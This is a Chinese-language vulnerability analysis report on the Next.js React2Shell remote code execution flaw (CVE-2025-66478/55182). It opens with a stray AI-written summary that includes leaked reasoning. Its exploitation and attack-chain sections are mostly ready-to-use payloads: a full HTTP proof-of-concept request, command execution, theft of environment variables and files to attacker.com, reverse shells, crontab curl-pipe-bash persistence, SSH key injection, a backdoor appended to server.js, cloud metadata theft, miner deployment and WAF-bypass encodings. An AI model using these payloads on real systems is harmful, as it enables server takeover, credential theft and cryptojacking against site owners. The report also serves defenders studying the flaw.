CVE-2025-66478 (React2Shell) 安全分析报告
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,不需要特定的开头。文章是关于CVE-2025-66478(React2Shell)的安全分析报告。 首先,我得通读整篇文章,抓住主要点。文章分为多个部分,包括执行摘要、背景、时间线、影响范围、技术分析、漏洞成因、利用方式、攻击链、环境搭建、检测方法、防护措施、修复建议、修复分析、风险评估和总结。 执行摘要部分提到这是一个影响Next.js框架的远程代码执行漏洞,CVSS评分10.0,非常严重。关键发现包括漏洞特征和统计数据,如影响超过1200万个网站,被多个APT组织利用。 背景部分介绍了React Server Components和Flight协议,以及Next.js的App Router。漏洞发现背景是Lachlan Davidson通过Meta的漏洞赏金计划披露的。 时间线显示漏洞从报告到公开披露用了几天时间,并在披露后迅速被利用。 影响范围部分详细列出了受影响的软件版本和统计信息,以及利用条件和攻击面分析。 技术分析部分深入探讨了React Flight协议和漏洞代码,特别是getOutlinedModel函数中缺少hasOwnProperty检查的问题。 漏洞成因包括设计层面的信任客户端输入和实现层面的关键检查缺失。JavaScript的语言特性如原型继承也是原因之一。 利用方式部分展示了如何构造payload进行攻击,包括命令执行和数据窃取等。 攻击链详细描述了从侦察到目标达成的过程。 环境搭建提供了测试环境的要求和步骤,以及检测工具的使用方法。 检测方法包括网络流量检测、应用层检测和WAF规则等。 防护措施分为立即行动清单和长期策略,强调升级到修复版本和实施多层安全控制。 修复建议提供了升级路线图和测试验证的方法,并分析了React官方补丁的效果。 风险评估部分讨论了技术风险、业务影响、合规风险等,并给出了行动建议。 总结部分强调了漏洞的关键要点和技术教训,并提出了未来展望和行动建议。 现在我需要将这些内容浓缩到100字以内。重点应放在漏洞的影响范围、CVSS评分、攻击方式以及修复建议上。同时要提到该漏洞是一个严重的远程代码执行漏洞,在Next.js中广泛存在,并已被野外利用。 </think> CVE-2025-66478(React2Shell)是一个影响Next.js框架的严重远程代码执行(RCE)漏洞(CVSS 10.0),允许攻击者通过精心构造的payload污染Object.prototype并触发任意代码执行。该漏洞影响全球超过1200万个网站,默认配置即受影响,并在披露后数小时内被野外利用。修复建议立即升级到Next.js 16.0.7或对应的安全版本,并实施多层安全控制以防止类似问题再次发生。 2026-1-5 03:7:44 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

CVE-2025-66478 (React2Shell) 安全分析报告


第一部分:执行摘要

1.1 概述

本报告针对CVE-2025-66478(别名:React2Shell)漏洞进行全面的安全分析。该漏洞是一个影响Next.js框架的严重远程代码执行(RCE)漏洞,获得了CVSS 10.0的最高严重性评分。CVE-2025-66478实际上是上游React Server Components漏洞CVE-2025-55182在Next.js应用中的下游影响跟踪编号。

1.2 关键发现

漏洞特征:

  • CVE编号:CVE-2025-66478(已被标记为CVE-2025-55182的重复项)

  • 上游CVE:CVE-2025-55182

  • CVSS评分:10.0(Critical)

  • 攻击向量:网络(Network)

  • 攻击复杂度:低(Low)

  • 所需权限:无(None)

  • 用户交互:不需要(None)

  • 影响范围:完整性、保密性、可用性均为高(High)

关键统计数据:

  • 影响全球超过1200万个网站

  • 披露后数小时内即被野外利用

  • 默认配置即受影响,无需开发者编写自定义代码

  • 利用成功率接近100%

  • 已成为HackerOne平台上被利用最多的CVE漏洞

1.3 风险评估

严重性判定:
该漏洞被评定为极高严重性,原因包括:

  1. 无需认证即可利用:攻击者无需任何账户或API密钥

  2. 攻击复杂度极低:单个HTTP POST请求即可完成攻击

  3. 默认配置受影响:使用create-next-app创建的标准应用即存在漏洞

  4. 广泛的影响范围:影响所有使用App Router的Next.js 15.x和16.0.0-16.0.6版本

  5. 已被野外利用:多个APT组织在披露后立即开始利用

业务影响:

  • 服务器完全沦陷,攻击者可执行任意代码

  • 敏感数据(环境变量、密钥、数据库凭证)泄露

  • 可作为跳板横向移动到后端系统和云基础设施

  • 已观察到部署加密货币挖矿程序、后门和数据窃取工具

1.4 建议措施

紧急行动(24小时内):

  1. 立即升级到修复版本(Next.js 16.0.7或15.x系列的对应修复版本)

  2. 运行官方修复工具:npx fix-react2shell-next

  3. 轮换所有敏感密钥和凭证

  4. 检查服务器是否已被入侵

短期措施(1周内):

  1. 实施WAF规则拦截已知攻击模式

  2. 部署入侵检测系统监控异常活动

  3. 审查应用日志寻找可疑请求

  4. 建立持续监控机制

长期策略:

  1. 建立依赖管理和自动更新流程

  2. 实施纵深防御安全架构

  3. 定期进行安全评估和渗透测试

  4. 制定事件响应计划


第二部分:背景

2.1 React Server Components简介

React Server Components (RSC) 是React 19引入的新架构模式,旨在改善Web应用性能和开发体验。

核心概念:

  • 组件在服务器端执行,减少发送到客户端的JavaScript代码

  • 支持流式传输,提升首屏渲染速度

  • 直接访问后端资源(数据库、文件系统)无需API层

  • 与客户端组件无缝集成

技术优势:

  1. 减小客户端bundle大小

  2. 改善首次内容绘制(FCP)时间

  3. 简化数据获取逻辑

  4. 更好的SEO支持

2.2 React Flight协议

为支持RSC的复杂数据传输需求,React团队开发了Flight协议。

协议特性:

  • 自定义序列化格式,支持流式传输

  • 使用特殊标记符($、$@等)表示引用和特殊类型

  • 支持Promise、Symbol等JavaScript特性的序列化

  • 采用chunk-based架构处理大型数据

数据格式示例:

0:{"id":"$1","data":"$2"}
1:["item1","item2"]
2:{"nested":"$@0"}

在这个例子中:

  • 数字标识chunk ID

  • $1引用chunk 1

  • $@0引用chunk 0的自身

2.3 Next.js App Router

Next.js 13引入App Router,完全基于React Server Components构建。

App Router特点:

  • 文件系统路由

  • 布局和嵌套路由

  • Server Actions功能

  • 流式渲染支持

  • 内置Loading和Error处理

Server Actions:
Server Actions允许在客户端组件中直接调用服务器端函数,无需手动创建API端点。

// app/actions.js
'use server'

export async function createUser(formData) {
  const name = formData.get('name');
  // 服务器端逻辑
  await db.users.create({ name });
}

// app/page.jsx
import { createUser } from './actions';

export default function Page() {
  return (
    <form action={createUser}>
      <input name="name" />
      <button type="submit">Submit</button>
    </form>
  );
}

这种架构通过Flight协议传输表单数据到服务器,正是CVE-2025-66478的攻击面。

2.4 漏洞发现背景

发现者:
Lachlan Davidson通过Meta的漏洞赏金计划负责任地披露了该漏洞。

发现过程:
研究人员在分析React Server Components的Flight协议实现时,发现反序列化过程中缺少对原型链访问的验证。通过精心构造的payload,可以污染Object.prototype,进而触发任意代码执行。

行业背景:
React是全球最流行的前端框架之一,约40%的开发者使用React,18-20%使用Next.js。React 19的发布和Server Components的推广使大量应用采用了这一新架构,扩大了漏洞的影响面。

2.5 相关漏洞

在CVE-2025-55182披露后不久,研究人员又发现了相关的其他漏洞:

CVE-2025-55184:

  • React Server Components拒绝服务漏洞

  • 攻击者可造成内存耗尽

  • CVSS评分:7.5(High)

CVE-2025-55183:

  • React Server Components源代码泄露漏洞

  • 可导致服务器端代码暴露

  • CVSS评分:7.5(High)

CVE-2025-67779:

  • Next.js源代码泄露漏洞

  • 影响Next.js应用的源代码保护

  • CVSS评分:7.5(High)

这些漏洞共同构成了React Server Components安全问题的一部分,但CVE-2025-66478/55182因其RCE性质而最为严重。


第三部分:时间线

3.1 漏洞生命周期

2025年11月29日:

  • Lachlan Davidson通过Meta Bug Bounty计划报告漏洞

  • Meta安全团队确认漏洞的存在和严重性

2025年11月30日:

  • Meta安全团队开始开发修复补丁

  • 同时通知Next.js团队和其他受影响的框架维护者

2025年12月1日:

  • React团队完成补丁开发

  • 开始与托管服务提供商和主要Next.js用户协调

  • 准备安全公告和修复版本

2025年12月3日 15:54 UTC:

  • 公开披露CVE-2025-55182和CVE-2025-66478

  • React发布修复版本:19.0.1, 19.1.2, 19.2.1

  • Next.js发布修复版本:15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

  • 官方安全公告同步发布

2025年12月3日晚间:

  • 安全研究人员开始分析补丁

  • 多个POC开始在GitHub上出现

2025年12月4日 13:00 PT:

  • 首个公开的完整RCE exploit和技术分析发布

  • 攻击者开始扫描互联网寻找易受攻击的服务器

2025年12月5日 06:00 UTC:

  • AWS、Microsoft、Google等云服务商检测到大规模扫描活动

  • 中国关联的APT组织开始利用漏洞

  • 观察到首批成功入侵案例

2025年12月5日:

  • CISA将CVE-2025-55182添加到已知被利用漏洞(KEV)目录

  • 要求联邦机构立即修补

  • 主流WAF和IDS厂商发布检测规则

2025年12月5-8日:

  • 利用活动激增

  • 观察到多个不同的攻击活动:

    • 加密货币挖矿程序部署

    • 凭证窃取

    • 后门植入

    • 横向移动到云基础设施

2025年12月11日:

  • Next.js发布额外的安全更新

  • 修复其他相关漏洞(CVE-2025-55183, CVE-2025-55184等)

2025年12月15日:

  • Microsoft发布详细的防御指南

  • 包括检测规则、IOC列表和Azure WAF配置

2026年1月4日:

  • 漏洞披露一个月后,HackerOne报告该漏洞已成为平台上被利用最多的CVE

  • 组织平均在一天内完成修复

  • 仍有大量未打补丁的系统暴露在互联网上

3.2 关键里程碑

日期事件影响
2025-11-29漏洞报告开始负责任披露流程
2025-11-30确认和修复开始供应商开始协调
2025-12-01补丁完成开始协调发布
2025-12-03公开披露漏洞信息公开
2025-12-04POC发布利用代码可用
2025-12-05野外利用开始APT组织开始攻击
2025-12-05CISA KEV添加强制要求政府机构修复
2025-12-05-08利用激增大规模攻击活动

3.3 响应时间分析

供应商响应:

  • 从报告到补丁发布:5天

  • 从确认到修复:4天

  • 从补丁到公开披露:2天

这是一个非常快速的响应时间,反映了漏洞的严重性。

攻击者响应:

  • 从披露到首次利用:< 24小时

  • 从POC发布到大规模利用:< 24小时

  • 攻击活动高峰期:披露后48-120小时

受害者响应:

  • HackerOne平台平均修复时间:< 1天

  • 企业环境典型修复时间:1-3天

  • 部分组织至今未修复(一个月后)

这个时间线显示了一个典型的"零日竞赛"场景,攻击者和防御者都在争分夺秒。


第四部分:影响范围

4.1 受影响的软件版本

Next.js受影响版本:

完整列表:

  • 15.0.0, 15.0.1, 15.0.2, 15.0.3, 15.0.4

  • 15.1.0, 15.1.1, 15.1.2, 15.1.3, 15.1.4, 15.1.5, 15.1.6, 15.1.7, 15.1.8

  • 15.2.0, 15.2.1, 15.2.2, 15.2.3, 15.2.4, 15.2.5

  • 15.3.0, 15.3.1, 15.3.2, 15.3.3, 15.3.4, 15.3.5

  • 15.4.0, 15.4.1, 15.4.2, 15.4.3, 15.4.4, 15.4.5, 15.4.6, 15.4.7

  • 15.5.0, 15.5.1, 15.5.2, 15.5.3, 15.5.4, 15.5.5, 15.5.6

  • 16.0.0, 16.0.1, 16.0.2, 16.0.3, 16.0.4, 16.0.5, 16.0.6

  • 14.3.0-canary.77及以后的所有canary版本

  • 15.6.0-canary.0至15.6.0-canary.57

  • 16.1.0-canary.0至16.1.0-canary.11

不受影响的Next.js版本:

  • Next.js 13.x全系列

  • Next.js 14.x稳定版(14.2.x及以前)

  • 仅使用Pages Router的应用

  • Edge Runtime环境下的应用

React Server Components受影响版本:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

其他受影响的框架:

  • React Router(使用RSC的版本)

  • Waku

  • RedwoodJS(使用RSC的版本)

  • @parcel/rsc

  • @vitejs/plugin-rsc

4.2 影响统计

全球影响规模:

根据各安全厂商和研究机构的数据:

  1. 应用数量:

    • 预估超过1200万个网站受影响

    • Microsoft Defender遥测显示数万个设备受影响

    • 影响数千个组织

  2. 开发者影响:

    • 约40%的Web开发者使用React

    • 约18-20%的开发者使用Next.js

    • Next.js是增长最快的React框架之一

  3. 企业影响:

    • Microsoft遥测显示数百台机器已被入侵

    • 受影响组织涵盖各个行业

    • 包括金融、电商、SaaS、媒体等关键领域

  4. 地理分布:

    • 全球性影响,无地域限制

    • 攻击来源主要集中在中国关联的APT组织

    • 受害者分布在北美、欧洲、亚太等所有地区

4.3 漏洞利用条件

必要条件:

  1. 应用架构:

    • 使用Next.js App Router

    • 部署在Node.js环境(不包括Edge Runtime)

    • 应用已构建并运行在生产模式

  2. 网络可达性:

    • 应用可从攻击者网络访问

    • 不需要VPN或特殊网络配置

    • HTTP/HTTPS均可利用

  3. 无需的条件:

    • 不需要用户账户

    • 不需要有效的CSRF令牌

    • 不需要任何形式的认证

    • 不需要用户交互

    • 不需要特殊的HTTP方法(POST即可)

默认配置漏洞:

使用create-next-app创建的标准应用在默认配置下即受影响:

npx [email protected] my-app
cd my-app
npm run build
npm start
# 此应用现在已可被利用

即使开发者未编写任何自定义代码,仅使用框架生成的模板,应用也存在漏洞。这大大扩展了潜在受害者范围。

4.4 行业影响分析

受影响最严重的行业:

  1. SaaS和云服务:

    • 许多现代SaaS应用使用Next.js构建

    • 云服务控制台和管理界面

    • 影响:客户数据泄露、服务中断

  2. 电子商务:

    • Next.js在电商领域广泛应用

    • Shopify、BigCommerce等平台的店面

    • 影响:支付信息泄露、订单系统破坏

  3. 金融科技:

    • 现代银行和支付应用前端

    • 加密货币交易平台

    • 影响:财务数据泄露、交易篡改

  4. 内容和媒体:

    • 新闻网站、博客平台

    • 流媒体服务前端

    • 影响:内容篡改、用户数据泄露

  5. 企业内部应用:

    • 内部管理系统

    • 企业门户

    • 影响:内网渗透、横向移动

4.5 攻击面分析

暴露的端点:

任何接受HTTP请求的Next.js应用路径都可能成为攻击入口:

  • 根路径 (/)

  • 任意页面路由

  • API路由(如果存在)

  • Server Actions端点

攻击成功率:
根据多个安全研究机构的测试:

  • 默认配置攻击成功率:接近100%

  • 部署了基础WAF的成功率:60-80%(取决于WAF配置)

  • 已修复版本成功率:0%

网络扫描活动:
安全公司观察到的扫描统计:

  • 披露后24小时内:数千次扫描尝试

  • 披露后48-120小时:扫描活动达到高峰

  • 使用的扫描器:Nuclei、自定义脚本、Assetnote react2shell-scanner


第五部分:技术分析

5.1 React Flight协议深度分析

协议架构:

React Flight协议设计用于在服务器和客户端之间传输复杂的React组件树和相关数据。

核心组件:

  1. Chunk系统:

    • 数据被分割成chunk

    • 每个chunk有唯一的数字ID

    • chunk可以引用其他chunk

    • 支持延迟加载和流式传输

  2. 引用系统:

    • $N:直接引用chunk N

    • $@N:引用chunk N的解析值

    • $Q:引用队列

    • $B:Blob引用

    • 其他特殊前缀用于不同数据类型

  3. 序列化格式:

chunk_id:chunk_data\n

每行代表一个chunk,由ID、冒号和数据组成。

反序列化流程:

// 简化的反序列化流程
function parseModelString(response, id, text) {
  // 1. 解析JSON文本
  const model = JSON.parse(text);

  // 2. 处理引用
  if (typeof model === 'string' && model.startsWith('$')) {
    // 解析引用类型
    const refType = model[1];
    const refPath = model.substring(2).split(':');

    // 3. 解析引用路径(漏洞点)
    return resolveReference(response, refType, refPath);
  }

  return model;
}

function resolveReference(response, type, path) {
  if (type === '@') {
    // 获取引用的chunk
    return getOutlinedModel(response, path);
  }
  // 处理其他引用类型...
}

5.2 漏洞代码分析

漏洞位置:
packages/react-server/src/ReactFlightReplyServer.js

getOutlinedModel函数(漏洞版本):

function getOutlinedModel(response, id, ...path) {
  // 获取初始chunk
  let value = response._chunks.get(id);

  // 关键漏洞:遍历路径时未验证属性所有权
  for (let i = 0; i < path.length; i++) {
    // 直接访问属性,允许原型链遍历
    value = value[path[i]];
  }

  return value;
}

问题分析:

  1. 缺少hasOwnProperty检查:

    • 代码直接使用value[path[i]]访问属性

    • JavaScript允许通过__proto__访问原型链

    • 攻击者可以遍历到Object.prototype

  2. 路径遍历:
    当path为["__proto__", "then"]时:

    value = value["__proto__"];  // 现在value是Object.prototype
    value = value["then"];       // 现在value是Object.prototype.then
    
  3. 原型污染:
    如果chunk的数据包含恶意值,这个值会被设置到Object.prototype上:

    // 攻击者控制的chunk数据
    {
      "then": "$1:__proto__:then",  // 引用路径
      "value": maliciousFunction    // 恶意函数
    }
    

5.3 Thenable Gadget技术

什么是Thenable:

在JavaScript中,Thenable是任何具有then方法的对象。Promise是最常见的Thenable。

// Promise是Thenable
const promise = new Promise(resolve => resolve(42));
typeof promise.then === 'function';  // true

// 自定义Thenable
const thenable = {
  then: function(onResolve, onReject) {
    onResolve(42);
  }
};

Next.js中的Thenable检查:

Next.js在处理Server Actions返回值时会检查对象是否为Thenable:

function isThenable(value) {
  return value != null && typeof value.then === 'function';
}

async function handleServerAction(action) {
  const result = await action();

  // 如果结果是Thenable,等待其完成
  if (isThenable(result)) {
    return await result;
  }

  return result;
}

原型污染利用:

当Object.prototype被污染后:

// 污染原型
Object.prototype.then = function(resolve) {
  // 恶意代码
  eval("malicious code");
  resolve();
};

// 所有对象现在都是Thenable
const obj = {};
typeof obj.then === 'function';  // true!

// Next.js会将普通对象当作Promise处理
isThenable(obj);  // true
await obj;  // 触发恶意then方法

5.4 Function构造器访问

constructor链遍历:

JavaScript中,可以通过constructor属性访问构造函数:

const obj = {};
obj.constructor === Object;  // true
Object.constructor === Function;  // true

获取Function构造器:

通过两次constructor访问,可以从任意对象获取Function构造器:

const obj = {};
const FunctionConstructor = obj.constructor.constructor;
FunctionConstructor === Function;  // true

// 使用Function构造器执行代码
const maliciousFunc = FunctionConstructor("return process.mainModule.require('child_process')");
const child_process = maliciousFunc();
child_process.execSync('whoami');

在漏洞中的应用:

Payload中的关键部分:

{
  "_formData": {
    "get": "$1:constructor:constructor"
  }
}

这会:

  1. 从chunk 1开始

  2. 访问.constructor(获得Object构造器)

  3. 再访问.constructor(获得Function构造器)

  4. 结果:攻击者控制了Function构造器

5.5 完整利用链分析

步骤1:原型链污染

Payload设置:

{
  "then": "$1:__proto__:then"
}

执行路径:

// getOutlinedModel处理引用
value = chunks.get(1);           // 某个对象
value = value["__proto__"];      // Object.prototype
value = value["then"];           // Object.prototype.then

结果:攻击者现在可以设置Object.prototype.then

步骤2:注入恶意代码

Payload包含:

{
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

步骤3:触发代码执行

当Next.js处理这个payload时:

  1. 检测到对象具有then方法(因为原型被污染)

  2. 尝试await这个"Promise"

  3. 调用then方法

  4. then方法中,访问_formData.get

  5. 由于引用链,实际获得Function构造器

  6. 使用_prefix中的代码创建新函数

  7. 执行函数,运行任意命令

步骤4:结果提取

恶意代码通过NEXT_REDIRECT错误返回结果:

throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `${commandOutput}`
});

Next.js会在错误响应中包含digest字段,攻击者从中提取命令输出。

5.6 代码执行环境

执行上下文:

  • 运行在Node.js主进程中

  • 具有完整的process对象访问权限

  • 可以访问所有Node.js内置模块

  • 继承服务器进程的用户权限

可用的API:

// 文件系统访问
const fs = process.mainModule.require('fs');
fs.readFileSync('/etc/passwd');

// 命令执行
const child_process = process.mainModule.require('child_process');
child_process.execSync('cat /etc/passwd');

// 网络访问
const http = process.mainModule.require('http');
http.get('http://attacker.com/exfiltrate?data=...');

// 环境变量
process.env.DATABASE_URL;
process.env.API_SECRET;

第六部分:漏洞成因

6.1 设计层面问题

过度信任客户端输入:

Flight协议的设计假设客户端发送的引用路径是可信的,未考虑恶意输入的场景。

问题根源:

  1. 协议设计时未充分考虑安全边界

  2. 假设序列化数据来自可信源

  3. 缺少输入验证层

复杂性带来的风险:

Flight协议的复杂性(支持引用、流式传输、多种数据类型)增加了安全漏洞的可能性:

  1. 引用系统允许复杂的对象遍历

  2. 多层嵌套的数据结构难以全面验证

  3. 性能优化可能牺牲安全检查

6.2 实现层面问题

关键的hasOwnProperty缺失:

JavaScript安全最佳实践要求在访问对象属性前检查所有权:

不安全的实现:

function getProperty(obj, key) {
  return obj[key];  // 危险:可能访问原型链
}

安全的实现:

function getProperty(obj, key) {
  if (Object.prototype.hasOwnProperty.call(obj, key)) {
    return obj[key];
  }
  return undefined;
}

为什么会遗漏:

  1. 开发压力和时间限制

  2. 测试覆盖不足

  3. 安全审查流程缺失

  4. 对JavaScript原型链风险认识不足

6.3 JavaScript语言特性

原型继承机制:

JavaScript的原型继承是这个漏洞的根本原因之一。

// 原型链示例
const obj = {};
obj.toString === Object.prototype.toString;  // true

// __proto__访问
obj.__proto__ === Object.prototype;  // true
obj.__proto__.customProp = "hacked";

// 所有对象都被污染
const another = {};
another.customProp;  // "hacked"

__proto__的双重性质:

  • 标准访问器属性,用于访问对象的原型

  • 也可以通过[]操作符访问

  • 允许修改原型链

6.4 框架集成风险

Next.js的Server Actions:

Next.js将React Server Components集成到其路由系统中,扩大了攻击面:

  1. 自动端点创建:

    • Server Actions自动创建HTTP端点

    • 开发者可能不知道这些端点的存在

    • 每个端点都是潜在的攻击入口

  2. 默认启用:

    • App Router默认启用Server Actions

    • 无需显式配置

    • 开发者可能不知道风险

  3. 认证缺失:

    • Server Actions默认不需要认证

    • 依赖开发者自行实现安全措施

    • 许多应用未实施适当的保护

6.5 安全开发实践缺失

代码审查:

  • 缺少专门的安全代码审查

  • 未使用自动化安全扫描工具

  • 对原型污染风险认识不足

测试覆盖:

  • 单元测试未覆盖恶意输入场景

  • 缺少模糊测试(fuzzing)

  • 安全测试不是CI/CD流程的一部分

安全培训:

  • 开发团队可能缺少JavaScript安全培训

  • 对OWASP Top 10等安全标准不够重视

  • 快速迭代文化可能忽视安全

6.6 供应链安全

依赖管理问题:

许多应用依赖Next.js而未密切关注其安全更新:

  1. 自动更新风险:

    • 使用^或~版本范围自动获取新版本

    • 可能在不知情的情况下引入漏洞版本

  2. 更新延迟:

    • 许多组织有变更审批流程

    • 安全补丁可能需要数天或数周才能应用

    • 给攻击者留下时间窗口

  3. 依赖可见性:

    • 开发者可能不知道应用使用了哪些具体版本

    • 嵌套依赖更难追踪

    • 缺少依赖项安全监控


第七部分:利用方式

7.1 基础利用方法

最小化POC:

最简单的利用只需要一个HTTP请求:

POST / HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x

------Boundary
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "_response": {
    "_prefix": "throw new Error('RCE_CONFIRMED');",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary
Content-Disposition: form-data; name="2"

[]
------Boundary--

响应特征:

  • 状态码:500

  • Content-Type: text/x-component

  • 响应体包含:E{"digest":"..."}

7.2 命令执行利用

执行系统命令:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

命令执行技巧:

  1. 超时设置:

execSync('command', {'timeout': 5000})

防止命令挂起导致请求超时。

  1. 输出处理:

.toString().trim()

将Buffer转换为字符串并去除空白。

  1. 结果返回:

throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `${res}`
});

通过digest字段返回结果。

7.3 数据窃取

读取环境变量:

"_prefix": "var env=JSON.stringify(process.env);;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${env}`});"

读取文件:

"_prefix": "var fs=process.mainModule.require('fs');var data=fs.readFileSync('/etc/passwd','utf8');;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${data}`});"

数据外传:

"_prefix": "var http=process.mainModule.require('http');var data=JSON.stringify(process.env);http.get('http://attacker.com/exfil?data='+encodeURIComponent(data));"

7.4 反弹Shell

TCP反弹Shell:

"_prefix": "var net=process.mainModule.require('net');var spawn=process.mainModule.require('child_process').spawn;var sh=spawn('/bin/bash',[]);var client=net.connect(4444,'attacker.com',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"

HTTP反向Shell:

使用HTTP轮询的简单反向Shell:

"_prefix": "var http=process.mainModule.require('http');var exec=process.mainModule.require('child_process').exec;setInterval(function(){http.get('http://attacker.com/cmd',function(res){var data='';res.on('data',function(chunk){data+=chunk;});res.on('end',function(){exec(data,function(err,stdout){http.get('http://attacker.com/output?data='+encodeURIComponent(stdout));});});});},5000);"

7.5 持久化技术

写入Crontab:

"_prefix": "var fs=process.mainModule.require('fs');var exec=process.mainModule.require('child_process').exec;var cron='*/5 * * * * curl http://attacker.com/backdoor.sh|bash\\n';exec('crontab -l',function(err,stdout){var newCron=stdout+cron;fs.writeFileSync('/tmp/cron',newCron);exec('crontab /tmp/cron');});"

修改应用代码:

"_prefix": "var fs=process.mainModule.require('fs');var backdoor='\\nsetInterval(()=>{require(\\'http\\').get(\\'http://attacker.com/beacon\\')},60000);';fs.appendFileSync('server.js',backdoor);"

SSH密钥注入:

"_prefix": "var fs=process.mainModule.require('fs');var key='ssh-rsa AAAA... attacker@host';fs.mkdirSync('/root/.ssh',{recursive:true});fs.appendFileSync('/root/.ssh/authorized_keys',key+'\\n');"

7.6 横向移动

内网扫描:

"_prefix": "var net=process.mainModule.require('net');var hosts=['192.168.1.1','192.168.1.2'];hosts.forEach(function(host){var socket=net.connect(22,host,function(){console.log(host+' port 22 open');});socket.on('error',function(){});});"

云元数据访问:

AWS EC2实例元数据:

"_prefix": "var http=process.mainModule.require('http');http.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/',function(res){var data='';res.on('data',function(d){data+=d;});res.on('end',function(){http.get('http://attacker.com/metadata?data='+encodeURIComponent(data));});});"

数据库访问:

如果应用连接数据库:

"_prefix": "var dbUrl=process.env.DATABASE_URL;require('http').get('http://attacker.com/db?url='+encodeURIComponent(dbUrl));"

7.7 高级利用技术

Payload混淆:

使用Base64编码混淆恶意代码:

"_prefix": "var code=Buffer.from('dmFyIGV4ZWM9cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jO2V4ZWMoJ2lkJyk=','base64').toString();Function(code)();"

时间延迟检测:

验证是否存在漏洞但不执行明显的恶意操作:

"_prefix": "var start=Date.now();while(Date.now()-start<5000){}throw new Error('DELAY_CONFIRMED');"

文件系统指纹识别:

判断操作系统和环境:

"_prefix": "var fs=require('fs');var os='unknown';if(fs.existsSync('/etc/passwd'))os='linux';if(fs.existsSync('C:\\\\Windows'))os='windows';throw Error(os);"

第八部分:攻击链

8.1 完整攻击流程

阶段1:侦察(Reconnaissance)

  1. 目标识别:

    • 使用Shodan、Censys等搜索引擎

    • 搜索特征:X-Powered-By: Next.js

    • 识别使用Next.js的网站

  2. 版本指纹识别:

    • 检查/_next/static/目录

    • 分析JavaScript bundle

    • 查找版本号指示器

  3. App Router检测:

    • 发送测试请求观察响应

    • 检查是否存在RSC相关header

    • 确认使用App Router而非Pages Router

阶段2:武器化(Weaponization)

  1. Payload准备:

    • 根据目标环境定制payload

    • 选择执行的命令或脚本

    • 准备数据外传地址

  2. 工具准备:

    • 配置扫描器(如react2shell-scanner)

    • 准备exploit脚本

    • 设置C2服务器接收回连

阶段3:投递(Delivery)

  1. 发送exploit请求:

POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
User-Agent: Mozilla/5.0 ...

[恶意multipart payload]
  1. 请求特征:

    • Content-Type: multipart/form-data

    • 存在Next-Action header

    • POST方法

    • 包含特制的JSON数据

阶段4:利用(Exploitation)

  1. 服务器处理流程:

Client Request
    ↓
Next.js Routing
    ↓
Server Action Handler (检测Next-Action header)
    ↓
Flight Protocol Deserializer
    ↓
parseModelString → parseModel → getOutlinedModel
    ↓
原型链遍历 (path: __proto__ → then)
    ↓
Object.prototype污染
    ↓
Thenable检查 (typeof obj.then === 'function')
    ↓
await触发恶意then方法
    ↓
Function构造器调用
    ↓
任意代码执行
  1. 时间窗口:

    • 请求到达:0ms

    • 反序列化开始:< 10ms

    • 代码执行:< 50ms

    • 响应返回:< 100ms

阶段5:安装(Installation)

  1. 初始访问后:

# 下载第二阶段payload
curl http://attacker.com/stage2.sh | bash

# 或直接在内存中执行
wget -qO- http://attacker.com/miner | sh
  1. 建立持久性:

    • 添加SSH密钥

    • 修改crontab

    • 注入应用代码

    • 安装系统服务

阶段6:命令与控制(Command and Control)

  1. 建立C2通道:

    • 反向Shell连接

    • HTTP(S) beacon

    • DNS隧道

    • 云服务通信(AWS S3等)

  2. 常见C2基础设施:
    观察到的攻击者使用:

    • Cloudflare Tunnels

    • 动态DNS服务(anondns.net等)

    • 受控的VPS服务器

    • 受感染的合法网站作为跳板

阶段7:目标达成(Actions on Objectives)

  1. 观察到的攻击目标:

    a. 加密货币挖矿:

    # 下载并运行XMRig
    wget http://attacker.com/xmrig -O /tmp/xmrig
    chmod +x /tmp/xmrig
    /tmp/xmrig -o pool.minexmr.com:4444 -u wallet_address
    

    b. 数据窃取:

    # 窃取环境变量和配置
    tar czf /tmp/data.tar.gz .env* /etc/passwd /root/.ssh
    curl -F "file=@/tmp/data.tar.gz" http://attacker.com/upload
    

    c. 代理网络:

    # 安装SOCKS代理
    wget http://attacker.com/proxy -O /usr/local/bin/proxy
    proxy --listen 0.0.0.0:1080
    

    d. 横向移动:

    # 扫描内网
    nmap -sn 192.168.0.0/24
    # 尝试访问云元数据
    curl http://169.254.169.254/latest/meta-data/
    

8.2 攻击变种

变种1:无回显利用

当无法直接看到命令输出时:

"_prefix": "var exec=require('child_process').exec;exec('whoami > /tmp/output && curl -F file=@/tmp/output http://attacker.com/upload');"

变种2:绕过WAF

  1. 编码绕过:

// 使用Unicode编码
"_prefix": "var c='\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073';"

// 使用计算属性
"_prefix": "var cp=require(['child','process'].join('_'));"
  1. 分段执行:

"_prefix": "var cmd='id';setTimeout(()=>{require('child_process').exec(cmd);},100);"

